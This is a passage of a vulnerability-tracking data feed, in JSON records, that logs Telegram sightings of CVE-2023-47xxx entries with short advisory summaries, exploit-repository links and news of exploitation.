"https://ift.tt/udvgsGl\nCVE-2023-47777 | Automattic WooCommerce Plugin/WooCommerce Blocks Plugin on WordPress cross site scripting", "creation_timestamp": "2023-12-20T16:18:15.000000Z"}, {"uuid": "da10d776-ae42-4dec-8b35-8ab1c2d52f99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47505", "type": "seen", "source": "https://t.me/ctinow/157149", "content": "https://ift.tt/MCiS3sN\nCVE-2023-47505 | Elementor Elementor Plugin up to 3.16.4 on WordPress Elementor.Com cross site scripting", "creation_timestamp": "2023-12-20T17:13:14.000000Z"}, {"uuid": "383ff16d-73d1-45b6-9a02-af1681aa72b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47851", "type": "seen", "source": "https://t.me/ctinow/157148", "content": "https://ift.tt/1kUNzMF\nCVE-2023-47851 | Akhtarujjaman Shuvo Bootstrap Shortcodes Ultimate Plugin up to 4.3.1 on WordPress cross site scripting", "creation_timestamp": "2023-12-20T17:13:13.000000Z"}, {"uuid": "ab6ce816-c88f-4c35-beb0-663559e47e45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47850", "type": "seen", "source": "https://t.me/ctinow/157147", "content": "https://ift.tt/BZD2WzX\nCVE-2023-47850 | PeepSo Community Plugin up to 6.2.2.0 on WordPress cross site scripting", "creation_timestamp": "2023-12-20T17:13:12.000000Z"}, {"uuid": "e032d4ab-baf1-4b19-ad1e-1667bfdf9092", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47854", "type": "seen", "source": "https://t.me/ctinow/157146", "content": "https://ift.tt/o2sliUe\nCVE-2023-47854 | Howard Ehrenberg Parallax Image Plugin up to 1.7.1 on WordPress cross site scripting", "creation_timestamp": "2023-12-20T17:13:11.000000Z"}, {"uuid": "78cc6047-09c4-4d5a-9779-f667e3b428aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47004", "type": "seen", "source": "https://t.me/cibsecurity/73648", "content": "\u203c CVE-2023-47004 \u203c\n\nBuffer Overflow vulnerability in Redis RedisGraph v.2.x through v.2.12.8 and fixed in v.2.12.9 allows an attacker to execute arbitrary code via the code logic after valid authentication.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-07T00:26:06.000000Z"}, {"uuid": "0bc3f398-ece3-4739-a01e-a2a0b5f60ba7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47186", "type": "seen", "source": "https://t.me/cibsecurity/73608", "content": "\u203c CVE-2023-47186 \u203c\n\nCross-Site Request Forgery (CSRF) vulnerability in Kadence WP Kadence WooCommerce Email Designer plugin <=\u00c2\u00a01.5.11 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-06T14:25:54.000000Z"}, {"uuid": "d4ff3b69-dd43-474d-972c-e2b0a2e2c0f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47038", "type": "seen", "source": "https://t.me/ctinow/155927", "content": "https://ift.tt/8XCkRn1\nCVE-2023-47038 | Perl up to 5.38.0 Regular Expression Compiler heap-based overflow", "creation_timestamp": "2023-12-18T15:18:32.000000Z"}, {"uuid": "baf097ec-3645-46bc-9c79-b0a1c68f16e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47507", "type": "seen", "source": "https://t.me/ctinow/157082", "content": "https://ift.tt/nCcySo5\nCVE-2023-47507", "creation_timestamp": "2023-12-20T15:23:33.000000Z"}, {"uuid": "90572287-4a03-47a5-b7bb-25c8b7535ea8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47236", "type": "seen", "source": "https://t.me/ctinow/157081", "content": "https://ift.tt/sl401Sq\nCVE-2023-47236", "creation_timestamp": "2023-12-20T15:23:32.000000Z"}, {"uuid": "9a7c8ddc-726c-4b75-8446-8c563a86678f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47463", "type": "seen", "source": "https://t.me/ctinow/156933", "content": "https://ift.tt/x2S8OsH\nCVE-2023-47463 | GL.iNET AX1800 up to 4.4.x gl_nas_sys improper authentication", "creation_timestamp": "2023-12-20T12:36:55.000000Z"}, {"uuid": "222b443a-60b6-4cf1-b57a-f34da038441b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47261", "type": "seen", "source": "https://t.me/ctinow/156609", "content": "https://ift.tt/HMvUnGy\nCVE-2023-47261 Exploit", "creation_timestamp": "2023-12-19T22:17:52.000000Z"}, {"uuid": "c3fc6831-c5c0-49d4-bb07-2bf6fc26a1cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47267", "type": "seen", "source": "https://t.me/ctinow/156985", "content": "https://ift.tt/MxjdWaK\nCVE-2023-47267", "creation_timestamp": "2023-12-20T13:53:17.000000Z"}, {"uuid": "1a5a36e2-d23c-4509-a6bb-a459bc473411", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47821", "type": "seen", "source": "https://t.me/ctinow/156973", "content": "https://ift.tt/MdncuGm\nCVE-2023-47821", "creation_timestamp": "2023-12-20T13:48:50.000000Z"}, {"uuid": "32a60276-e95c-4c3d-b6d7-2bbb29340895", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47829", "type": "seen", "source": "https://t.me/ctinow/156972", "content": "https://ift.tt/stTIQ4w\nCVE-2023-47829", "creation_timestamp": "2023-12-20T13:48:49.000000Z"}, {"uuid": "62ac709b-edd1-40d6-b67d-7bd116c9b5c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47759", "type": "seen", "source": "https://t.me/ctinow/156970", "content": "https://ift.tt/9ueVOvk\nCVE-2023-47759", "creation_timestamp": "2023-12-20T13:48:47.000000Z"}, {"uuid": "74986663-e2ed-4c88-baef-f50427b43db0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47824", "type": "seen", "source": "https://t.me/ctinow/156969", "content": "https://ift.tt/QcDFMwb\nCVE-2023-47824", "creation_timestamp": "2023-12-20T13:48:46.000000Z"}, {"uuid": "7fa0eb08-876e-485c-af95-28d3f891095e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47825", "type": "seen", "source": "https://t.me/ctinow/156968", "content": "https://ift.tt/MtvS5il\nCVE-2023-47825", "creation_timestamp": "2023-12-20T13:48:45.000000Z"}, {"uuid": "729ba5f7-41ac-41c5-bb1e-39c85735b687", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47781", "type": "seen", "source": "https://t.me/ctinow/156965", "content": "https://ift.tt/HCEhFPb\nCVE-2023-47781", "creation_timestamp": "2023-12-20T13:48:42.000000Z"}, {"uuid": "6d5d198e-633b-46ff-a14b-4aa8a9162e06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47418", "type": "seen", "source": "https://t.me/ctinow/156946", "content": "https://ift.tt/yWPCapM\nCVE-2023-47418 | o2oa up to 8.1.2 Service Management cross site scripting", "creation_timestamp": "2023-12-20T13:18:05.000000Z"}, {"uuid": "22d4510e-e5a6-494d-8621-dae2cbb388e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47792", "type": "seen", "source": "https://t.me/ctinow/156964", "content": "https://ift.tt/yJenfr8\nCVE-2023-47792", "creation_timestamp": "2023-12-20T13:48:41.000000Z"}, {"uuid": "efc42546-7ca3-4a6e-ad44-33e2ee91b326", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47014", "type": "seen", "source": "https://t.me/ctinow/156961", "content": "https://ift.tt/y4GdsIw\nCVE-2023-47014", "creation_timestamp": "2023-12-20T13:48:37.000000Z"}, {"uuid": "e8aca00a-d7be-415b-a7a9-ae9ddff9dbe8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47624", "type": "seen", "source": "https://t.me/ctinow/156540", "content": "https://ift.tt/3HfsUrL\nCVE-2023-47624 Exploit", "creation_timestamp": "2023-12-19T19:18:23.000000Z"}, {"uuid": "cd460ef1-3faa-40c9-af22-6ad2e28863f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47620", "type": "seen", "source": "https://t.me/ctinow/156538", "content": "https://ift.tt/ODZiFY6\nCVE-2023-47620 Exploit", "creation_timestamp": "2023-12-19T19:18:21.000000Z"}, {"uuid": "23b6fb67-fae4-4205-9b24-e69a17c164a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47623", "type": "seen", "source": "https://t.me/ctinow/156537", "content": "https://ift.tt/c4XEQWO\nCVE-2023-47623 Exploit", "creation_timestamp": "2023-12-19T19:18:20.000000Z"}, {"uuid": "c469ca04-fff2-47aa-bfe9-b19a8cb93788", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47619", "type": "seen", "source": "https://t.me/ctinow/156478", "content": "https://ift.tt/EtfiL3g\nCVE-2023-47619 Exploit", "creation_timestamp": "2023-12-19T17:18:16.000000Z"}, {"uuid": "73d4d106-2866-40f6-a096-10d0b7414239", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47279", "type": "seen", "source": "https://t.me/ctinow/156849", "content": "https://ift.tt/oUxD8tF\nCVE-2023-47279 | Delta Electronics InfraSuite Device Master up to 1.0.7 UDP Packet path traversal (icsa-23-331-01)", "creation_timestamp": "2023-12-20T10:11:47.000000Z"}, {"uuid": "501918eb-a386-49b2-b583-3c5523dfe03d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47207", "type": "seen", "source": "https://t.me/ctinow/156847", "content": "https://ift.tt/2MiLbHF\nCVE-2023-47207 | Delta Electronics InfraSuite Device Master up to 1.0.7 deserialization (icsa-23-331-01)", "creation_timestamp": "2023-12-20T10:11:45.000000Z"}, {"uuid": "2fe236ad-7192-4d6b-b3d9-ec84710e7c93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47462", "type": "seen", "source": "https://t.me/ctinow/156818", "content": "https://ift.tt/dguh3Mp\nCVE-2023-47462 | GL.iNet AX1800 up to 3.215 Sharing permission", "creation_timestamp": "2023-12-20T09:12:10.000000Z"}, {"uuid": "57080324-a63f-4e10-bf10-05dd7af98e94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47324", "type": "seen", "source": "https://t.me/ctinow/156174", "content": "https://ift.tt/ZA6fnFM\nCVE-2023-47324 Exploit", "creation_timestamp": "2023-12-18T23:17:39.000000Z"}, {"uuid": "d9d680de-3417-46ac-b05b-6a56e2d1b9a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47326", "type": "seen", "source": "https://t.me/ctinow/156173", "content": "https://ift.tt/HmiS5B1\nCVE-2023-47326 Exploit", "creation_timestamp": "2023-12-18T23:17:38.000000Z"}, {"uuid": "11ebcf5e-e44f-42ca-b22e-422cd4d71e87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47327", "type": "seen", "source": "https://t.me/ctinow/156172", "content": "https://ift.tt/iduWP9z\nCVE-2023-47327 Exploit", "creation_timestamp": "2023-12-18T23:17:37.000000Z"}, {"uuid": "e3342b6c-8bdc-41f0-b9b9-b71ccda9cebd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "published-proof-of-concept", "source": "https://t.me/ctinow/150352", "content": "https://ift.tt/eVamkoR\nCVE-2023-47246: SysAid Vulnerability Exploited by CL0P ... - Kroll", "creation_timestamp": "2023-11-19T08:18:00.000000Z"}, {"uuid": "b48296fb-4210-4b69-b66d-f150084a47b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47037", "type": "seen", "source": "https://t.me/ctinow/152740", "content": "https://ift.tt/fyYpi0J\nInternet Bug Bounty: CVE-2023-47037: Airflow Broken Access Control Vulnerability", "creation_timestamp": "2023-11-30T23:46:51.000000Z"}, {"uuid": "8fe7e24f-e587-49d2-b306-38f0c3db892e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47565", "type": "seen", "source": "https://t.me/ctinow/155788", "content": "https://ift.tt/hU4Ml0t\nCVE-2023-47565 Exploitation", "creation_timestamp": "2023-12-18T10:17:57.000000Z"}, {"uuid": "bf5153ef-252d-4fbe-9fde-a82fe8235225", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47325", "type": "seen", "source": "https://t.me/ctinow/156176", "content": "https://ift.tt/7UmvZHW\nCVE-2023-47325 Exploit", "creation_timestamp": "2023-12-18T23:17:41.000000Z"}, {"uuid": "7694e555-8e23-4262-aab1-d76141f62847", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47437", "type": "seen", "source": "https://t.me/ctinow/155585", "content": "https://ift.tt/hsD8ajI\nCVE-2023-47437 | Pachno 1.0.6 Project Description cross site scripting", "creation_timestamp": "2023-12-17T12:12:04.000000Z"}, {"uuid": "5fb5a8f1-3670-4460-bd9d-cf0e6de5ff98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47778", "type": "seen", "source": "https://t.me/cvedetector/14161", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-47778 - LuckyWP Scripts Control Missing Authorization Weakness\", \n  \"Content\": \"CVE ID : CVE-2023-47778 \nPublished : Jan. 2, 2025, 3:15 p.m. | 27\u00a0minutes ago \nDescription : Missing Authorization vulnerability in LuckyWP LuckyWP Scripts Control allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects LuckyWP Scripts Control: from n/a through 1.2.1. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-02T16:46:02.000000Z"}, {"uuid": "3177b9c8-ecd3-4184-a569-c67f16902ba1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47807", "type": "seen", "source": "https://t.me/cvedetector/14162", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-47807 - 10Web 10WebAnalytics Missing Authorization Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2023-47807 \nPublished : Jan. 2, 2025, 3:15 p.m. | 27\u00a0minutes ago \nDescription : Missing Authorization vulnerability in 10Web 10WebAnalytics allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects 10WebAnalytics: from n/a through 1.2.12. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-02T16:46:06.000000Z"}, {"uuid": "b72c282a-2ac5-46a9-8b9a-8f7e231a6a17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47503", "type": "seen", "source": "https://t.me/ctinow/155584", "content": "https://ift.tt/bvSwhEU\nCVE-2023-47503 | jflyfox jfinal_cms 5.1.0 Template Management Module login.jsp Privilege Escalation (Issue 58)", "creation_timestamp": "2023-12-17T12:12:03.000000Z"}, {"uuid": "e8244afb-3c54-49d6-af90-2206d5b2bd8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47253", "type": "published-proof-of-concept", "source": "https://t.me/ton618cyber/4116", "content": "#exploit\n1. CVE-2023-47253:\nQualitor <=8.2 - RCE\nhttps://github.com/vnxdtzip/CVE-2023-47253\n\n2. CVE-2024-7339:\nInformation Leak in DVR devices\nhttps://github.com/RevoltSecurities/CVE-2024-7339\n\n3. CVE-2024-5830:\nFrom object transition to RCE in the Chrome renderer\nhttps://github.blog/security/vulnerability-research/from-object-transition-to-rce-in-the-chrome-renderer", "creation_timestamp": "2024-09-22T04:47:11.000000Z"}, {"uuid": "bcdd8831-387e-4232-a954-882cdb0ed6ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47168", "type": "seen", "source": "https://t.me/ctinow/155476", "content": "https://ift.tt/i4WGnec\nCVE-2023-47168 | Mattermost up to 7.8.12/8.1.3/9.0.1/9.1.0 Custom URL Scheme mobile_login redirect_to", "creation_timestamp": "2023-12-16T20:52:15.000000Z"}, {"uuid": "f6288273-4aa6-4db2-91a0-891ce5697528", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47253", "type": "published-proof-of-concept", "source": "Telegram/dabuzJkls92bdJnfNjwitJoYPoFV8U_J4cqC1hwGrGW2kg", "content": "", "creation_timestamp": "2024-09-26T11:28:26.000000Z"}, {"uuid": "79c25d58-a95a-4a85-82ab-b7c6c0f4d1e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "https://t.me/ctinow/149365", "content": "https://ift.tt/Esct7Df\nCVE-2023-47246: SysAid Vulnerability Exploited by CL0P ... - Kroll", "creation_timestamp": "2023-11-14T21:33:22.000000Z"}, {"uuid": "1200a4a8-a0ae-4005-8c79-5fa4f3670cce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "seen", "source": "https://t.me/ctinow/148395", "content": "https://ift.tt/nmwevjS\nMOVEit hackers leverage new zero-day bug to breach organizations (CVE-2023-47246)", "creation_timestamp": "2023-11-09T17:33:54.000000Z"}, {"uuid": "fcaadfe4-1545-4d7a-b085-b48c570eb7d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "seen", "source": "https://t.me/ctinow/148390", "content": "https://ift.tt/p6bJwEY\nMOVEit hackers leverage new zero-day bug to breach organizations (CVE-2023-47246)", "creation_timestamp": "2023-11-09T17:33:49.000000Z"}, {"uuid": "12c7ea57-c791-4334-8964-6da1bb950b79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "seen", "source": "https://t.me/ctinow/148364", "content": "https://ift.tt/p6bJwEY\nMOVEit hackers leverage new zero-day bug to breach organizations (CVE-2023-47246) - Help Net Security", "creation_timestamp": "2023-11-09T16:08:00.000000Z"}, {"uuid": "a27bc41c-62b1-45b8-b1d5-3a01e918bbe4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47444", "type": "published-proof-of-concept", "source": "Telegram/AOpvdTsjzp7H3NHE-unulMxXJPzXcZMNwS8LLyL1I0LOWQ", "content": "", "creation_timestamp": "2023-11-15T15:55:39.000000Z"}, {"uuid": "4edf6b6e-54d6-47c1-8f80-76673735066b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47097", "type": "seen", "source": "https://t.me/cibsecurity/73284", "content": "\u203c CVE-2023-47097 \u203c\n\nAn issue was discovered in Virtualmin 7.7. The Server Templates feature under System Settings allows XSS.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-01T06:34:44.000000Z"}, {"uuid": "62d3ccb5-5ed6-4a3a-a13e-04652a0452ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47234", "type": "seen", "source": "https://t.me/cibsecurity/73546", "content": "\u203c CVE-2023-47234 \u203c\n\nAn issue was discovered in FRRouting FRR through 9.0.1. A crash can occur when processing a crafted BGP UPDATE message with a MP_UNREACH_NLRI attribute and additional NLRI data (that lacks mandatory path attributes).\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-03T23:23:40.000000Z"}, {"uuid": "5f849736-e4cd-4311-8dbf-705bc092b56b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47480", "type": "seen", "source": "https://t.me/cvedetector/6116", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-47480 - Pure Data Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2023-47480 \nPublished : Sept. 20, 2024, 5:15 p.m. | 24\u00a0minutes ago \nDescription : An issue in Pure Data 0.54-0 and fixed in 0.54-1 allows a local attacker to escalate privileges via the set*id () function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-20T19:45:12.000000Z"}, {"uuid": "70c6e434-c78b-46f3-a5d5-7b559e904579", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47105", "type": "seen", "source": "https://t.me/cvedetector/6002", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-47105 - Chaosblade Server Command Execution\", \n  \"Content\": \"CVE ID : CVE-2023-47105 \nPublished : Sept. 18, 2024, 5:15 p.m. | 40\u00a0minutes ago \nDescription : exec.CommandContext in Chaosblade 0.3 through 1.7.3, when server mode is used, allows OS command execution via the cmd parameter without authentication. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-18T20:05:50.000000Z"}, {"uuid": "e912f75c-dd96-4643-bfdc-0b075516de64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47563", "type": "seen", "source": "https://t.me/cvedetector/5001", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-47563 - Video Station OS Command Injection\", \n  \"Content\": \"CVE ID : CVE-2023-47563 \nPublished : Sept. 6, 2024, 5:15 p.m. | 39\u00a0minutes ago \nDescription : An OS command injection vulnerability has been reported to affect Video Station. If exploited, the vulnerability could allow authenticated users to execute commands via a network.  \n  \nWe have already fixed the vulnerability in the following version:  \nVideo Station 5.8.2 and later \nSeverity: 7.4 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-06T19:57:15.000000Z"}, {"uuid": "a6ba05a9-c56e-4e5f-b827-d4588bf8ee45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47612", "type": "published-proof-of-concept", "source": "https://t.me/sycebrex/167", "content": "\u0423\u0420\u0410 \u041d\u0410\u0421\u0422\u0410\u041b \u0422\u041e\u0422 \u0421\u0410\u041c\u042b\u0419 \u0414\u0415\u041d\u042c!\n\n\u0423 \u043d\u0430\u0441 \u0432\u044b\u0448\u0435\u043b \u043e\u0442\u0447\u0435\u0442 \u043f\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0432 \u043c\u043e\u0434\u0435\u043c\u0430\u0445 Telit Cinterion. \u042d\u0442\u043e \u043e\u0447\u0435\u043d\u044c \u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u0438 \u0432\u0430\u0436\u043d\u043e\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u043b\u044f \u0432\u0441\u0435\u0439 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0438 \u0438 \u0434\u043b\u044f connected \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 \u0432 \u0446\u0435\u043b\u043e\u043c. \u0414\u043b\u044f \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u0435\u0439, \u043c\u0435\u0434\u0438\u0446\u0438\u043d\u0441\u043a\u043e\u0433\u043e \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u0438\u0441\u0442\u0435\u043c \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438, \u0434\u043b\u044f REDACTED, \u0434\u043b\u044f REDACTED, \u0438 \u0441\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 